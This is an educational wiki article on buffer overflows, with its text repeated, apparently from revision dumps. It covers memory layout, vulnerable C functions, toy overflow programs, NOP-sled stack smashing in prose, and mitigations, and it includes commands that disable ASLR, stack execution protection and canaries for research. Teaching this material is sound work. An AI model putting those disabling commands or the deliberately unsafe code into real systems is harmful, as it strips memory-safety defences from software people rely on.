<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a '''function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| scanf() || sscanf()
|-
| memset() || -
|}

=== IoT/Embedded Devices ===
"The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks." <ref name=””> G. Mullen and L. Meany, "Assessment of Buffer Overflow Based Attacks On an IoT Operating System," 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.
</ref>

== Dangers ==

Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.

Summed up these four are the main dangers:

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack's mechanics and control structures in the later section "Stack-based Buffer Overflow".

The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

Console output running the program (bash).
<pre>
Before overflow: A = 0000000, B = 03
After overflow: A = excessive, B = e
</pre>

Inspection of memory before the overflow (gdb).
The memory addresses on the left are the locations of the two buffers.
<pre>
0xffffcc85: 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00
0xffffcc8d: 0x30 0x33 0x00
</pre>

Inspection of memory after the overflow (gdb).
<pre>
0xffffcc85: 0x65 0x78 0x63 0x65 0x73 0x73 0x69 0x76
0xffffcc8d: 0x65 0x00 0x00
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. <ref name=”AR1”>Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022</ref>

=== Stack-based Buffer Overflow ===

If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called "stack smashing". It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.

Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. <ref name="One1996"/>

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this "dangling pointer" to gain unauthorized access to the system or leak information meant to be kept confidential. <ref name="UAF">Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015</ref>

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T17:01:10Z

AKofranek: /* Buffer Over-Write */

[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle <ref name="BOB">What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024</ref>]]

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a '''function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| scanf() || sscanf()
|-
| memset() || -
|}

=== IoT/Embedded Devices ===
"The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks." <ref name=””> G. Mullen and L. Meany, "Assessment of Buffer Overflow Based Attacks On an IoT Operating System," 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.
</ref>

== Dangers ==

Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.

Summed up these four are the main dangers:

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack's mechanics and control structures in the later section "Stack-based Buffer Overflow".

The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

Console output running the program (bash).
<pre>
Before overflow: A = 0000000, B = 03
After overflow: A = excessive, B = e
</pre>

Inspection of memory before the overflow. The memory addresses on the left are the locations of the two buffers.
<pre>
0xffffcc85: 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00
0xffffcc8d: 0x30 0x33 0x00
</pre>

Inspection of memory after the overflow.
<pre>
0xffffcc85: 0x65 0x78 0x63 0x65 0x73 0x73 0x69 0x76
0xffffcc8d: 0x65 0x00 0x00
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. <ref name=”AR1”>Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022</ref>

=== Stack-based Buffer Overflow ===

If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called "stack smashing". It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.

Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. <ref name="One1996"/>

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this "dangling pointer" to gain unauthorized access to the system or leak information meant to be kept confidential. <ref name="UAF">Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015</ref>

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

